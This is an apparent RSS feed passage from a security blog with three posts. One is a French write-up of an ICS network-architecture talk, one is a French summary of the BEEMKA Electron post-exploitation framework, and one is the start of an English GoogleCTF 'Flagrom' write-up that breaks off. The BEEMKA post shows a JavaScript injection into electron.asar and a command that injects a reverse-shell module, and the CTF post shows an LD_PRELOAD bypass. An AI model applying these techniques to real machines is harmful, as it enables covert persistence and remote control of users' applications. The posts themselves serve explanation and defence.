<p>L&rsquo;Internet a tendance à être considéré comme le « mal ultime » quand on parle d&rsquo;ICS.</p>
<p>Eh bien, « No Limits ! » m&rsquo;a donné envie de rêver un peu. Et si je pouvais partir de zéro et construire l&rsquo;architecture ICS de mes rêves sans aucunes limites ?</p>
<p>Dans ma présentation, je compare et oppose les exigences et l&rsquo;architecture de réseau sécurisée ICS correspondante de deux activités très différentes au sein de la même entreprise : les centrales électriques et les fermes solaires/éoliennes.</p>
<p>L&rsquo;histoire de deux architectures ICS sécurisées (très différentes)</p>
<h2>Présentation d’un cas pratique</h2>
<p>J&rsquo;ai travaillé pour des entreprises qui possèdent une grande variété de systèmes de contrôle :</p>
<ul>
<li>Activités historiques : centrales électriques (nucléaires, chimiques), raffineries.</li>
<li>Nouveaux métiers : parcs solaires et éoliens</li>
</ul>
<p>Ces différents métiers se retrouvent aujourd&rsquo;hui au sein d&rsquo;une même entreprise.</p>
<p>Pour ces entreprises, la politique de cybersécurité ICS existante doit être adaptée aux nouveaux usages et métiers. Dans ce cadre, comment définir des exigences/règles de cybersécurité <strong>qui s&rsquo;appliqueraient à l&rsquo;ensemble de l&rsquo;entreprise ?</strong></p>
<p>Durant mon intervention, je présente en détail les deux cas d&rsquo;utilisation.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18020" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two.png" alt="" width="602" height="348" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-600x348.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<h3>L&rsquo;architecture historique sécurisée ICS</h3>
<p>Parlons d&rsquo;abord de l&rsquo;architecture historique. Elle suit le modèle Purdue, avec les bonnes vieilles exigences de cybersécurité des SCI :</p>
<ul>
<li>Une zone démilitarisée (DMZ) entre le réseau informatique et le réseau opérationnel, protégée par des pare-feu (un pare-feu entre le réseau opérationnel et la DMZ et un pare-feu entre la DMZ et le réseau informatique).</li>
<li>Pas de communication directe entre les réseaux IT et OT</li>
<li>Rupture de protocole dans la DMZ (utilisation de serveurs relais)</li>
<li>Pas d&rsquo;accès local à Internet sur le réseau OT (l&rsquo;accès à Internet passe par le réseau IT)</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18022" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT.png" alt="" width="602" height="337" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT-341x191.png 341w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT-600x337.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<p>Lorsque <strong>nous essayons d&rsquo;appliquer les mêmes principes d&rsquo;architecture au cas d&rsquo;utilisation d&rsquo;une ferme solaire/éolienne</strong>, nous aboutissons à quelque chose qui n&rsquo;a pas de sens :</p>
<ul>
<li>Des communications d&rsquo;OT à OT passant par le réseau IT</li>
<li>Plusieurs DMZ et deux pares-feux pour chaque site industriel, même ceux qui n&rsquo;ont que quelques actifs sur le réseau.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18030" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3.png" alt="" width="602" height="336" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3-342x191.png 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3-600x336.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<h3>L&rsquo;architecture sécurisée de la ferme solaire/éolienne</h3>
<p>Ce cas de figure nous montre qu’il est nécessaire d’essayer autre chose et de repartir de zéro. Et si nous pouvions construire un réseau industriel géographiquement distribué en exploitant la technologie SD-WAN ?</p>
<ul>
<li>Réseau OT :
<ul>
<li>Bordure SD-WAN avec pare-feu de nouvelle génération sur chaque site</li>
<li>Tunnels VPN IPSEC entre les sites</li>
<li>Règles de filtrage à travers le VPN pour n&rsquo;autoriser que les flux légitimes, comme Modbus par exemple.</li>
<li>Détection avec activation de l&rsquo;IDS sur les firewallsDMZ in the Cloud</li>
</ul>
</li>
<li>Principalement une DMZ entre le réseau OT et l&rsquo;Internet directement (nous avons accès à l&rsquo;Internet sans passer par le réseau IT)</li>
<li>Plusieurs firewalls pour protéger les différentes zones</li>
<li>Services centraux pour le réseau OT
<ul>
<li>Bastion pour l&rsquo;accès à distance</li>
<li>Antivirus et serveurs de mise à jour : ils obtiennent leurs mises à jour directement d&rsquo;Internet (sites officiels) par le biais d&rsquo;une liste blanche d&rsquo;URL avec des proxies et distribuent ensuite les mises à jour au réseau OT par le biais de l&rsquo;architecture SD-WAN.IT network</li>
</ul>
</li>
<li>Interconnexion à travers le Cloud uniquement avec un autre pare-feu dédié</li>
</ul>
<p>Voici les principales différences avec l&rsquo;architecture précédente :</p>
<ul>
<li>Nous ne passons plus par le réseau informatique pour faire communiquer les sites industriels entre eux.</li>
<li>Nous avons une DMZ entre le réseau OT et l&rsquo;Internet directement</li>
<li>Nous n&rsquo;avons besoin que d&rsquo;une seule DMZ globale pour le réseau industriel.</li>
</ul>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18028" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4.png" alt="" width="602" height="335" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4-343x191.png 343w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4-600x335.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<p>Cependant, soyez prudent. Cette architecture est plus risquée que l&rsquo;architecture historique.</p>
<ul>
<li>Maintenir un bon niveau de cybersécurité est difficile. Des erreurs peuvent être observées avec le temps sur le SD-WAN.</li>
</ul>
<p>Par exemple, on peut exposer un site directement sur Internet à cause d&rsquo;une mauvaise configuration du SD-WAN edge.</p>
<ul>
<li>Plusieurs exigences doivent être respectées pour protéger les actifs industriels :</li>
<li>Les communications doivent être contrôlées de bout en bout.</li>
<li>Les communications sont sécurisées en fonction du niveau et des besoins de l&rsquo;entreprise : Tunnels VPN IPSEC, filtrage réseau, relais si nécessaire, authentification, chiffrement, détection, etc.</li>
</ul>
<p>La rigueur est la clé avec cette architecture. Et finalement, ce que j&rsquo;aime le plus, c&rsquo;est le fait que les bases de la cybersécurité doivent être respectées&#8230; enfin !</p>
<h2>Méthode de classification ICS</h2>
<p>Revenons maintenant à notre objectif initial : comment formaliser les exigences de cybersécurité pour l&rsquo;ensemble de l&rsquo;entreprise et différencier les architectures sécurisées ICS ?</p>
<p>Pouvons-nous construire quelque chose autour des risques ?</p>
<p>Je présente <strong>une méthodologie de classification des SCI basée sur une approche standard basée sur les risques</strong> :</p>
<ul>
<li>Impact : en utilisant l&rsquo;échelle d&rsquo;impact HSE standard de l&rsquo;entreprise.</li>
<li>Probabilité : prise en compte de plusieurs facteurs, tels que la fonctionnalité du système ou sa connectivité.</li>
</ul>
<p>Avec l&rsquo;impact et la probabilité, nous pouvons placer notre système sur une matrice de risque qui donne la classification du système. Dans cet exemple, nous avons 4 classes d&rsquo;ICS.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18026" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5.png" alt="" width="602" height="338" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5-600x338.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<p>Ensuite, je l&rsquo;applique à nos deux cas d&rsquo;utilisation. Nous nous retrouvons avec une classification différente pour nos systèmes :</p>
<ul>
<li>Système de classe 2 pour la ferme solaire/éolienne
<ul>
<li>Impact limité (2) car il n&rsquo;y a pas de risque HSE</li>
<li>Probabilité importante (3) en raison de la haute connectivité du système</li>
</ul>
</li>
<li>Système de classe 3 pour la centrale électrique
<ul>
<li>Impact élevé (3) en raison du risque HSE</li>
<li>Probabilité faible (2) car les interconnexions du système sont limitées.</li>
</ul>
</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18024" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6.png" alt="" width="602" height="339" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6-339x191.png 339w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6-600x339.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<p>Ainsi, dans notre politique de cybersécurité ICS, nous pouvons avoir différentes exigences de cybersécurité en fonction de la classification du système.</p>
<h2>A retenir</h2>
<p>Plusieurs facteurs peuvent être pris en compte pour une décision d&rsquo;architecture :</p>
<ul>
<li>Que fait le système de contrôle ?</li>
<li>Quel serait l&rsquo;impact d&rsquo;une cyberattaque ?</li>
<li>Quel est le niveau d&rsquo;exposition du système ?</li>
</ul>
<p>Pour conclure la présentation, j&rsquo;encourage les entreprises à lancer un groupe de travail pour soutenir les projets et construire une architecture sécurisée pour les nouveaux usages des SCI. Une bonne idée pourrait être de créer des modèles d&rsquo;architecture : identifier plusieurs cas d&rsquo;utilisation pour l&rsquo;entreprise et créer des architectures de référence basées sur l&rsquo;analyse des risques.</p>
<p>Cependant, il faut trouver le bon équilibre : avoir différentes architectures sécurisées pour chacun des cas d&rsquo;utilisation au sein de l&rsquo;entreprise est une bonne chose, mais seulement jusqu&rsquo;à un certain niveau de gestion. En effet, vous devrez assurer la maintenance de toutes ces architectures et solutions. Donc, malheureusement, vous ne pouvez pas avoir autant d&rsquo;architectures que de systèmes de contrôle !</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/07/s4x22-lhistoire-de-deux-architectures-ics-securisees-tres-differentes/">S4x22 &#8211; L&rsquo;histoire de deux architectures ICS sécurisées (très différentes)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2022/07/s4x22-lhistoire-de-deux-architectures-ics-securisees-tres-differentes/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>BEEMKA &#8211; Electron Post-Exploitation When The Land Is Dry</title>
		<link>https://www.riskinsight-wavestone.com/2019/08/beemka-electron-post-exploitation-when-the-land-is-dry/</link>
		
		<dc:creator><![CDATA[Rémi Escourrou]]></dc:creator>
		<pubDate>Thu, 29 Aug 2019 16:15:54 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[beemka]]></category>
		<category><![CDATA[compte rendu]]></category>
		<category><![CDATA[détection]]></category>
		<category><![CDATA[discord]]></category>
		<category><![CDATA[electron]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[Skype]]></category>
		<category><![CDATA[Slack]]></category>
		<category><![CDATA[vulnerability management]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15574</guid>

					<description><![CDATA[<p>Lors de les BSides Las Vegas 2019, Pavel « @ sadreck » Tsakalidis a présenté un nouveau framework de post-exploitation qui repose sur l’utilisation d’Electron par des « applications desktop ». Sa présentation démontre que l’utilisation massive d’Electron ces dernières...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/08/beemka-electron-post-exploitation-when-the-land-is-dry/">BEEMKA &#8211; Electron Post-Exploitation When The Land Is Dry</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><a style="margin-left: 1em; margin-right: 1em; text-align: center;" href="https://1.bp.blogspot.com/--k9GnoyEsSA/XWeNvLIgHmI/AAAAAAAAArc/MZmZ_YLU1tIfDG85RMpZVTRT_tYOvItFACLcBGAs/s1600/header.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/--k9GnoyEsSA/XWeNvLIgHmI/AAAAAAAAArc/MZmZ_YLU1tIfDG85RMpZVTRT_tYOvItFACLcBGAs/s640/header.png" width="640" height="240" border="0" data-original-height="350" data-original-width="927" /></a></p>
<div style="text-align: justify;">
<div>Lors de les BSides Las Vegas 2019, Pavel « @ sadreck » Tsakalidis a présenté un nouveau framework de post-exploitation qui repose sur l’utilisation d’Electron par des « applications desktop ». Sa présentation démontre que l’utilisation massive d’Electron ces dernières années peut être utilisée pour injecter du code malveillant dans des applications légitimes.</div>
<div>Le projet peut être retrouvé sur le dépôt GitHub suivant : <a href="https://github.com/ctxis/beemka">https://github.com/ctxis/beemka</a>.</div>
</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Introduction</h3>
<div style="text-align: justify;">Electron est un framework permettant de développer des applications multiplateformes avec des technologies web (Javascript, HTLM et CSS).</div>
<div style="text-align: justify;">Son fonctionnement est assez simple, Electron utilise « node.js » en backend et « Chromium » en frontend :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15898 media-15898" class="align-none"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-15898" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-437x165.png" alt="" width="437" height="165" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-437x165.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-768x290.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA.png 927w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>
<div style="text-align: center;"><span style="font-size: x-small;"><i>Components of Electron </i></span></div>
<div style="text-align: center;"><span style="font-size: x-small;"><i><a href="https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/">https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/</a></i></span></div>
<div></div>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Electron a notamment permis de développer des applications aujourd’hui incontournables en entreprise :</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-tnbHTpC5ffw/XWeNuKPtguI/AAAAAAAAAro/jl-POTPMvlAqpnWfA56w1MVllExfB5BBgCEwYBhgL/s1600/2.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-tnbHTpC5ffw/XWeNuKPtguI/AAAAAAAAAro/jl-POTPMvlAqpnWfA56w1MVllExfB5BBgCEwYBhgL/s640/2.png" width="640" height="208" border="0" data-original-height="394" data-original-width="1201" /></a></div>
<div style="text-align: justify;"></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Applications Electron</span></i></div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Principe de l’attaque</h3>
<div style="text-align: justify;">Les applications Slack, GitHub ou encore Microsoft Teams utilisent le dossier « App Data » lors de l’installation. Il est donc possible pour l’utilisateur d’accéder en écriture au répertoire d’installation.</div>
<div style="text-align: justify;">Toutes les applications Electron possèdent un dossier « resources » dans leur répertoire d&rsquo;installation :</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div><img decoding="async" class="aligncenter" src="https://1.bp.blogspot.com/-xw6deGNkoZI/XWeNuBTgTyI/AAAAAAAAArg/8Gm4R6E1tA0Ox8jFgFR6Fca7U5HkKcfkwCEwYBhgL/s1600/3.png" /></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Illustration avec GitHubDesktop</span></i></div>
<div style="text-align: center;"><i> </i></div>
<div style="text-align: justify;">Ce dossier contient généralement :</div>
<ul>
<li>Le dossier « app » qui contient l’application ;</li>
<li>Le fichier « electron.asar » qui prépare l’environnement Chronium au lancement de l’application.</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier « electron.asar » peut être considéré comme une archive qui contient des scripts « *.js » :</div>
<div style="text-align: justify;"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-16154" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js-437x37.png" alt="" width="437" height="37" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js-437x37.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js-71x6.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js.png 712w" sizes="auto, (max-width: 437px) 100vw, 437px" /></div>
<div></div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><img decoding="async" src="https://1.bp.blogspot.com/-G0TPjCyHF3c/XWeNuDmYBII/AAAAAAAAAro/OQ7CY0443e8i6GXHJwk_Z-_RAVK686RwgCEwYBhgL/s1600/4.png" /></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Conteneur « electron.asar »</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier « chrome-extension.js » permet la gestion de l’environnement Chronium :</div>
<figure id="post-16156 media-16156" class="align-none"><img loading="lazy" decoding="async" class="size-medium wp-image-16156 alignleft" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2-437x23.png" alt="" width="437" height="23" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2-437x23.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2-71x4.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2.png 714w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>
<p>&nbsp;</p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Pavel propose ainsi d’injecter directement dans ce fichier du code javascript, permettant de lancer une action malveillante lors d’un évènement spécifique :</div>
<p><span class="w-code"><span class="w-root">app</span>.on(&lsquo;<span class="w-server">browser-window-focus</span>&lsquo;, function (event, bWindow) { <span class="w-root">bWindow</span>.webContents.<span class="w-grepped">executeJavaScript</span>(« <span class="w-server">alert(Hello Github !!&rsquo;);</span>« ) }) </span></p>
<p>&nbsp;</p>
<div style="text-align: justify;">Lors de l’ouverture de l’application (après avoir packé le fichier « electron.asar » et redéposé dans le répertoire « resource »), un pop-up (XSS style) va s’ouvrir dans l’application GitHub Desktop :</div>
<div style="text-align: justify;"></div>
<div><img loading="lazy" decoding="async" class="aligncenter" src="https://1.bp.blogspot.com/-AvxSdvn3kMg/XWeNu780hcI/AAAAAAAAArk/_psRbes4m7YyzYT5icMD_mYD7xRT2YeXQCEwYBhgL/s1600/5.png" width="314" height="177" /></div>
<div style="text-align: justify;"></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Illustration avec GitHub Desktop</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le code est donc correctement exécuté.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Démonstration</h3>
<div style="text-align: justify;">La vidéo suivante présente une démonstration du module « rshell_cmd » dans GitHub Desktop, permettant d’ouvrir un reverse shell vers notre listener :</div>
<div style="text-align: center;"><iframe loading="lazy" src="https://bit.ly/2PBBGb1" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<div>La commande utilisée est la suivante :</div>
<p><span class="w-code">$ <span class="w-cli">python3</span> ./beemka/beemka.py &#8212;<span class="w-cli">inject </span>&#8212;<span class="w-cli">module </span>rshell_cmd &#8212;<span class="w-cli">asar</span> ./electron_safe.asar &#8212;<span class="w-cli">output </span>./electron.asar</span></p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">De plus, l’exécutable de l’application « GitHub Desktop » n’est jamais modifié durant la modification du fichier « asar ». Cette technique peut donc permettre de contourner une politique de filtrage présente sur le poste.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Conclusion</h3>
<div style="text-align: justify;">Le framework présenté par Pavel est très intéressant pour compléter ses techniques de persistance. En effet, il se base sur le fonctionnement intrinsèque d’Electron et ne nécessite pas d’exploiter une vulnérabilité présente dans les applications.</div>
<div style="text-align: justify;">Le framework permet aussi d’aller plus loin en accédant aux données des applications mais aussi de réaliser d’autres opérations comme déposer un keylogger, prendre un Screenshot, …</div>
<div style="text-align: justify;">A ce jour, aucune solution n’était proposée par Electron pour mieux vérifier l’intégrité des fichiers des applications. Le plus simple est d’installer les applications dans « Programmes files » avec les privilèges administrateurs pour ne pas permettre à un utilisateur standard d’éditer le fichier « electron.asar ».</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Ps : BloodHound est aussi une application Electron, une bonne « blague » à faire aux équipes Red/Blue Team :</div>
<div style="text-align: center;"><iframe loading="lazy" src="https://bit.ly/2L30Yuk" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<div style="text-align: right;"></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Références</h4>
</div>
<div style="text-align: justify;"><a href="https://www.contextis.com/en/blog/basic-electron-framework-exploitation">https://www.contextis.com/en/blog/basic-electron-framework-exploitation</a></div>
<div style="text-align: justify;"><a href="https://github.com/ctxis/beemka">https://github.com/ctxis/beemka</a></div>
<div style="text-align: justify;"><a href="https://electronjs.org/docs/tutorial/application-architecture">https://electronjs.org/docs/tutorial/application-architecture</a></div>
<div style="text-align: justify;"><a href="https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/">https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/</a></div>
<div style="text-align: justify;"></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/08/beemka-electron-post-exploitation-when-the-land-is-dry/">BEEMKA &#8211; Electron Post-Exploitation When The Land Is Dry</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>GoogleCTF 2019 Quals – Flagrom Challenge Writeup</title>
		<link>https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/</link>
		
		<dc:creator><![CDATA[Gauthier Sebaux]]></dc:creator>
		<pubDate>Tue, 23 Jul 2019 17:14:02 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[challenge; concours;]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[write up]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15578</guid>

					<description><![CDATA[<p>On June 22 and 23, 2019, Wavestone CTF team YoloSw4g took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s1600/header.jpg"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s640/header.jpg" width="640" height="160" border="0" data-original-height="200" data-original-width="800" /></a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">On June 22 and 23, 2019, Wavestone CTF team <i>YoloSw4g</i> took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software security.</div>
<div style="text-align: justify;"></div>
<style type="text/css">
span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc0 { font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc16 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />#table_wiki { width: 100%; border-collapse: collapse; }<br />#table_wiki td { text-align: center; border: 1px solid gray; width: 8%; background-color: rgb(245, 239, 237); }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc6 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc9 { color: rgb(160, 130, 189); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br /></style>
<p>&nbsp;</p>
<h3 style="text-align: justify;">Introduction</h3>
<div style="text-align: justify;">The goal of the challenge is simple and given in the description:</div>
<p><span class="w-code">This 8051 board has a SecureEEPROM installed. It&rsquo;s obvious the flag is stored there. Go and get it.</span></p>
<div style="text-align: justify;">Four files are provided with it:</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/flagrom?raw=true">flagrom</a>: an ELF64 which is the main program,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.8051?raw=true">firmware.8051</a>: the firmware which is compiled for an Intel 8051 microcontroller,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.c">firmware.c</a>: the source code of firmware.8051,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/seeprom.sv">seeprom.sv</a>: the hardware description (in SystemVerilog) of the SecureEEPROM.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">At the first launch, a proof of work is required:</div>
<div style="text-align: justify;"><span class="w-code">$ <span class="w-cli">./flagrom </span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with <span class="w-grepped">55d55d</span>?´</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">The <b>LD_PRELOAD</b> functionality allows you to bypass the proof of work when executing locally. To do this, simply redefine the <i>exit() </i>function to do nothing:</div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">void</span> <span class="sc11">exit</span><span class="sc10">(</span><span class="sc16">int</span> <span class="sc11">x</span><span class="sc10">){</span><span class="sc0"><br />
</span><span class="sc11">x</span> <span class="sc10">=</span> <span class="sc4">1</span> <span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></div>
<div style="text-align: justify;">It is then possible to get an overview of how the challenge works:</div>
<p><span class="w-code">$ <span class="w-cli">LD_PRELOAD=exit.so ./flagrom </span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&rsquo;s the length of your payload?<br />
0<br />
Executing firmware&#8230;<br />
